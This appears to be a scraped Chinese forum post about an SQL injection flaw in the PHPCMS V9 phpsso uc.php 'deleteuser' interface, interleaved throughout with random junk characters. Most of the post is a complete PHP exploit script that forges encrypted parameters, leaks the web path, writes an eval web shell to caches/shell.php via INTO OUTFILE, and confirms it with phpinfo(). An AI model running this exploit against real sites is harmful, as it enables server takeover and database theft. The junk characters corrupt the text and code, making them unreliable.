PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% g6 L. E. q- K3 F' S' w% }
' r, p1 k( J, e$ U- W所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。$ V |. o% D1 J d& [2 e
, a+ { N6 Z1 ^7 S, D4 z2 ?漏洞分析:- o1 S# J2 L2 O) D
1.未启用ucenter服务的情况下uc_key为空2 B9 F0 }# E3 B4 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
r+ V; h; P& h, y2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。( q: v C5 n5 _4 }
public function deleteuser($get,$post) {
6 {, U) M, {* `& {% K pc_base::load_app_func('global', 'admin');
3 z. O5 s/ n; q! c8 m pc_base::load_app_class('messagequeue', 'admin' , 0);
2 V/ [. g! @2 {* ]4 B* n0 w $ids = new_stripslashes($get['ids']);+ j7 t# O& c G: c
$s = $this->member_db->select("ucuserid in ($ids)", "uid");4 V+ X% l' \4 {
SQL语句为8 L# \' H7 V4 l: w
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
8 N0 F4 c5 x3 U6 b. P: f
`& S- x, ^( ]& E T利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell: f" `8 f7 q% m% l! Y+ w) z
<?php
: e6 ]0 l4 Y# {4 b/ pprint_r('. ?: |+ Y+ m+ d/ O( P+ k) ^
---------------------------------------------------------------------------
" A" r" Z* w, G6 Z6 pPHPcms (v9 or Old Version) uc api sql injection 0day
' s" x" O1 A, j+ W2 w9 Pby rayh4c#80sec.com9 @- Z! c) K1 @# }; c
---------------------------------------------------------------------------
3 a* r. _% e4 h1 v');* M3 W. n J/ w8 r5 n8 h
( A6 l: r6 m @. y; l7 q
if ($argc<3) {: K5 ]9 `: c0 U7 z
print_r('
& p; m! n( E+ s4 |---------------------------------------------------------------------------# T7 }/ f9 [- f [3 `* s8 e
Usage: php '.$argv[0].' host path OPTIONS
8 ^+ A6 ^$ A9 x: {" ahost: target server (ip/hostname)) u Z6 X: x3 }2 e
path: path to phpcms/ O. K. l$ |5 q& I: ~& ^+ Q" n E
Options:1 B, I2 f' x/ q3 x
-p[port]: specify a port other than 80- k& {( k+ I. V9 [$ ]* v
-P[ip:port]: specify a proxy7 B2 o& A2 J8 F0 d8 s
Example:
. N- B [4 J/ y4 p; k0 V2 }5 vphp '.$argv[0].' localhost /
9 g' M- h7 G, W! x1 Z" P. Dphp '.$argv[0].' localhost /phpcms/ -p81
' y0 U. j: |6 d5 n6 Uphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) w0 Z8 K) L6 f---------------------------------------------------------------------------" w9 o* m/ _* V! ~/ B- I) Q
');! z6 _2 b8 J; S9 [
die;0 K) E; L8 E3 F9 k2 k+ A
}
$ x4 o, p4 v" Q ^8 B _1 B/ U; ?: }* L) n, q$ a* s/ X7 \ @" A3 G2 R
error_reporting(7);( V, t% n# ]5 I9 a; W
ini_set("max_execution_time",0);0 W; w3 T9 u) h* O5 r9 \
ini_set("default_socket_timeout",5);" P" t8 n3 K7 b$ S* `; O. Y" ^
- F/ T" T- q/ r% s1 x
function quick_dump($string)$ s) d+ W! Z. M) x5 A1 {) F
{
+ r. {8 g3 e" D7 L6 i) Q' |, F $result='';$exa='';$cont=0;: d0 x* b% f, `
for ($i=0; $i<=strlen($string)-1; $i++)* M0 r) T1 q/ y5 U
{
! @( K8 A1 e3 X if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))5 X* }2 ~. H; t2 N% {
{$result.=" .";}3 s9 @1 s. R9 a0 w% S P1 [
else9 b7 c8 V1 `9 r4 k* w
{$result.=" ".$string[$i];}
3 S3 r/ R- `. X) y- a if (strlen(dechex(ord($string[$i])))==2)
- V9 Z1 g; J! R" _0 O. n- F' p {$exa.=" ".dechex(ord($string[$i]));}; x6 r. k |0 |
else0 k4 S6 m |5 W% \
{$exa.=" 0".dechex(ord($string[$i]));}6 c- h- k% }- Q2 D$ L- s( \( _
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 P) }6 H6 ^. C5 U6 O
}
' q1 ~4 i& p/ Q1 m$ j8 R. k return $exa."\r\n".$result;1 L5 ]9 j8 K# s
}, N; J( `. m0 S, l( H. s
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
* J) j" K8 u' }- }+ }3 a0 x" q5 b: P3 j J4 I Z
function send($packet)$ x- H7 T! l- w. L8 e; F
{
' ?6 F3 O* y+ W8 ?1 _& X. S global $proxy, $host, $port, $html, $proxy_regex;4 I0 q: e! j/ W& C2 L
if ($proxy=='') {5 q3 q; L$ c8 `2 `$ [8 F z
$ock=fsockopen(gethostbyname($host),$port);2 ^! c+ i( X6 V( h- ^" D2 N5 o
if (!$ock) {
, ^# M+ N* U+ f" W+ P3 L0 V echo 'No response from '.$host.':'.$port; die;" `" j9 c9 l! n8 _" ^2 c# _
}5 z4 I6 o3 o) e: @: u9 K3 R
}: q8 Y& \1 p) o. D# \8 ^3 K
else {
4 N% R& i. A# T7 @1 X4 Y" ^, O3 i2 G $c = preg_match($proxy_regex,$proxy);3 T+ V. T* ~6 ^! Q+ h3 p5 \
if (!$c) {1 v/ R5 Z$ G0 Q; S2 L
echo 'Not a valid proxy...';die;
+ C0 k4 ]% \- P+ p( E }4 i/ V+ W+ k1 X+ k4 F! l/ m
$parts=explode(':',$proxy);5 ~+ Y ]3 O s1 u
$parts[1]=(int)$parts[1];
/ s3 D3 X# q% k$ t# R echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";$ P: y" e1 K' o9 m4 I
$ock=fsockopen($parts[0],$parts[1]);. [8 Z& Q2 r" S
if (!$ock) {: R' R) [' B! \ ^, e6 t1 ^* M
echo 'No response from proxy...';die;
9 l2 t% S9 N+ y" Q6 o: p' N! i }- [* v/ P% T# k' f$ J+ D
}
" `4 O/ m% M+ u fputs($ock,$packet);
# ^9 n3 L$ Z' w r- K, v9 T' F+ \ if ($proxy=='') {; f# Q( Z2 P3 J1 i* r: u3 u {
$html='';
( [7 W$ E+ [5 _% b- s) y, q5 a while (!feof($ock)) {; w- n% R6 f/ F) b
$html.=fgets($ock);
( P1 U' B. I/ `% A" O7 D }
- M2 B0 v9 E: H }
4 L1 R* d' j6 f/ | else { e& L, B7 f" ~# m- w8 o
$html='';
9 _. J$ {" G. I3 r: d% s: z while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 @; Y3 O; B F, j( ~% k
$html.=fread($ock,1);
4 F+ M& T% v# u& a- N& ? }
+ A/ M+ s6 ~! @$ ?' ^8 n9 g }, z4 A2 s2 W" J }; Y6 {/ |+ x4 ]
fclose($ock);) @" `; B' v8 ], o
}: {0 m. r+ [; ~, g+ d
$ Z' |" o I1 L2 f. [
$host=$argv[1];
X( P5 f; x& Z1 n$path=$argv[2];
6 u+ o% J" t' H0 Q. A5 Y$port=80;
9 C* u: y. Y5 y/ t- S$proxy="";( a! U$ {0 X4 L5 [' v
for ($i=3; $i<$argc; $i++){
7 }. a% }% r' w. Y6 ]% W$temp=$argv[$i][0].$argv[$i][1];# f0 u3 g( G8 l; u1 Z
if ($temp=="-p"); A6 m( i! P1 ` h7 I
{
8 J; d2 I& |% N, j/ ~1 f $port=(int)str_replace("-p","",$argv[$i]);) A8 l9 y( B8 O7 k z1 h6 X6 a
}
) y4 ]$ ^7 W) h7 I9 gif ($temp=="-P")
! t |2 C0 \, m/ S{
0 ]+ b/ @1 }! |- d0 B! [5 f $proxy=str_replace("-P","",$argv[$i]);
- Y9 j3 x, i: _. O. P' I @}
6 V) G$ Z# q% C5 C}
3 O4 I* y8 O ^ U6 \, n- n7 k- \1 t
( a; F8 G4 J( b; J7 c7 l# O( |% D* e! \if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- A2 K( l0 U' c* }if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}$ V5 K8 K6 M% Z7 f; C
: ]2 Y* V- ^/ U( t# ]
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
1 X7 ~* ~' m3 q! a# }2 u: y
6 t0 \% r* J) i8 y6 X% y* M $ckey_length = 4;
+ c5 \6 a. v1 O/ Y$ s9 \' `' C& U% m4 o5 `" g3 L. ?; @
$key = md5($key ? $key : '');7 A# [, w) B* C) B
$keya = md5(substr($key, 0, 16));; n/ ~, y: k+ n$ w; C- v; u
$keyb = md5(substr($key, 16, 16));
3 l% R. R5 h& y $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$ \! O% T$ W5 `/ ?
j4 @6 [) Z; i' q1 G# W $cryptkey = $keya.md5($keya.$keyc);
% G1 `; P1 B# g3 M7 _ $key_length = strlen($cryptkey);: Z+ D: Z3 a# J8 \$ }, ^7 A9 a
+ i) v$ ~: \8 |, Y$ C
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$ U- V, [& e+ e4 } R) Y- s
$string_length = strlen($string);. j, P5 d u" |4 ?) a
* c/ S) v% o) d o+ F5 f3 w $result = '';5 F7 L, s" y" f7 |, _
$box = range(0, 255);
6 i7 E' x" l' F/ e
w' M3 G* F/ D $rndkey = array();
# u9 V& V' K" N for($i = 0; $i <= 255; $i++) {
: s, X3 R2 c, r; n: x: R0 g. o $rndkey[$i] = ord($cryptkey[$i % $key_length]);8 {1 `& a7 x- I8 J
}
/ ]; K+ h. T+ @( Q/ P6 `* t$ I2 j3 _7 h- K) ^- r: {
for($j = $i = 0; $i < 256; $i++) {, I- k. Z+ ~1 Q
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 p5 l$ h& L6 h" b $tmp = $box[$i];, `# X2 Y* p# T6 x! `) q2 N
$box[$i] = $box[$j];# _3 D# S) V% \, v R0 I
$box[$j] = $tmp;4 |$ v8 `5 X: W; Q- }( F
}; T1 n3 v! D; G( u
$ k b2 T! Q( v1 M) n
for($a = $j = $i = 0; $i < $string_length; $i++) {
: E) j C2 u) x( o $a = ($a + 1) % 256;: T. ~& u6 q' o
$j = ($j + $box[$a]) % 256;
, x; o* R! g a# A6 a- G4 s $tmp = $box[$a];
% |) ]5 b7 A! ^7 h( V $box[$a] = $box[$j];3 U, y- k1 R# t: s' l
$box[$j] = $tmp;1 `7 N5 V$ K1 [8 B k
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));2 C; p0 s2 T3 b4 M7 K( i6 T
}0 C0 A8 V4 l' w
" g9 B" O/ j7 J8 r) v- X if($operation == 'DECODE') {
" E% g+ X' [* X% e3 e' Q/ k if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {+ C3 V2 _0 M. B
return substr($result, 26);
5 H: A* M) n9 d5 q R } else {
* W, h$ i: u! T return '';
! i& x) m! P) q( {$ F }
. g( X) { o4 E7 U2 S$ g! q9 | } else {$ f* g5 J0 v- |, ?) R9 |
return $keyc.str_replace('=', '', base64_encode($result));- W) f# \0 M: v4 f% b3 S; N o# R
}3 c( {- ]1 z0 [( q6 Q* x
d% w x0 g. n w+ I
}
7 C* P8 }! `% T* _$ Q% C6 c; R$ q1 J9 ], t- N2 e7 ?' ^
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
: e; |, N- s, Z3 B4 c4 ?3 c$SQL = urlencode(authcode($SQL, "ENCODE", ""));" N$ y3 w0 R" m( y+ a* _
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- k# }' _1 l, N/ } v7 G
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. q2 a+ e# f% q# T* [+ e$ X$packet.="User-Agent: Mozilla/5.0\r\n";) | C+ S4 `6 f" i- B1 S& n% k: z
$packet.="Host: ".$host."\r\n";
+ e, ^# k' _6 ]9 b; o- N$packet.="Connection: Close\r\n\r\n";6 y! ^, j* o e% _( ]
send($packet);
# ^, |0 S" Q& |if(strpos($html,"MySQL Errno") > 0){
( [7 x4 G% m- qecho "[2] 发现存在SQL注入漏洞"."\n";
! e9 r( A( f! v' vecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 ]) I/ k, X, j+ \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
2 \" Q8 N0 P2 }2 R) E' D L$packet.="User-Agent: Mozilla/5.0\r\n";8 U( d+ B) l3 h2 ^) ~* A$ x
$packet.="Host: ".$host."\r\n";! f- Y" `6 A) P2 t: m' _
$packet.="Connection: Close\r\n\r\n";6 U, d2 }" Y2 n* M: p r0 o
send($packet);
2 S4 i, D% `9 m* u9 r- k5 W9 U2 dpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 I; B7 U: D& @4 e/ e$ w# Y
//print_r($matches);
# k- J6 @8 G' a. Z9 r- sif(!empty($matches)){
) i/ p% P* ]2 z6 H1 D3 pecho "[4] 得到web路径 " . $matches[0]."\n";2 k5 \: K( i) Z: ], s9 B! o
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
; T( q$ @4 N1 z6 T$SQL = "time=999999999999999999999999&ids=1)";
/ L7 D/ D+ A0 R8 `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
\7 T9 I+ o9 R: g4 O3 l, D$SQL.="&action=deleteuser";
3 i# J$ X7 m7 V0 |$SQL = urlencode(authcode($SQL, "ENCODE", ""));: K, N! E/ s6 v! f. A+ D
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" O5 r1 {0 V3 T3 C& \" G
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. s8 q1 W; d; x$ @) `
$packet.="User-Agent: Mozilla/5.0\r\n";
: u' o3 _5 k8 q! H# G- s$ F. U- y$packet.="Host: ".$host."\r\n";0 E' r1 c2 G/ r. i0 i# ]
$packet.="Connection: Close\r\n\r\n";
7 [7 A2 t& {( u7 j0 x$ l. Q6 Psend($packet);
1 O3 A) ]% {1 M/ R6 h+ Dif(strpos($html,"Access denied") > 0){
3 i; S4 ]) @2 m& M1 a4 ~/ o7 fecho "[-] MYSQL权限过低 禁止写入文件 ";
# m0 O2 `( U% A# g( ydie;$ |( e7 t0 r4 W& P
}
$ N( p4 K! m* V1 a6 n7 C4 W1 |/ U eecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 q% k+ [* ]8 Y" z1 P
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( V5 c/ T0 I( S
$packet.="User-Agent: Mozilla/5.0\r\n";
Z/ c4 N: N0 ^( H% P4 ^/ V* N# t$packet.="Host: ".$host."\r\n"; T1 l9 r, ?5 u+ u8 i5 L" c
$packet.="Connection: Close\r\n\r\n";3 B* O' H: y8 ]" r9 v( u
send($packet);& z! l; a5 |# \( x$ A
if(strpos($html,"<title>phpinfo()</title>") > 0){
) b% H! G" G. d+ o" qecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
4 [( U' R M) y/ G. R}
! [$ ~: F9 M) q( o2 Z! _ _}else{" p; U' f8 i6 y
echo "[-]未取到web路径 ";' t% U( ^* j5 i9 o9 Z
}
6 G0 }# G0 o; R( s' L& B}else{
$ w# Z6 @9 B5 w# qecho "[*]不存在SQL注入漏洞"."\n";7 J1 l, J, M( ^& X+ u! u+ t
}& ^; X: j; r, z$ h
' n* v# q$ P+ @* u N- a+ \+ ^?>( d3 [# w" T; G: y( M) _3 l* W
|